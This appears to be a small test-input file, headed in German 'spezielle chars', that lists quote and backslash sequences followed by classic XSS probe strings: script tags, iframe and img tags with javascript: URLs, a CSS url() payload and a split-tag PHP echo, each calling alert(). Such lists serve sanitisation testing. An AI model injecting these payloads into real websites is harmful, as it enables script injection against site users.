spezielle chars: ' '' ''' " "" """ / // /// \\\\ \\\\\\\\ \\\\\\\\\\\\ \\\\\\\\\\\\\\\\

'alert('so nicht!')'

"alert('so sowieso nicht!');"

<script type="text/javascript"> console.info('jojojojo'); </script>

<SCRIPT>alert('XSS')</SCRIPT>

<IFRAME SRC="javascript:alert('XSS');"></IFRAME>

<IMG SRC="javascript:alert('XSS');">

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

<? echo('<SCR)'; echo('IPT>alert("XSS")</SCRIPT>'); ?>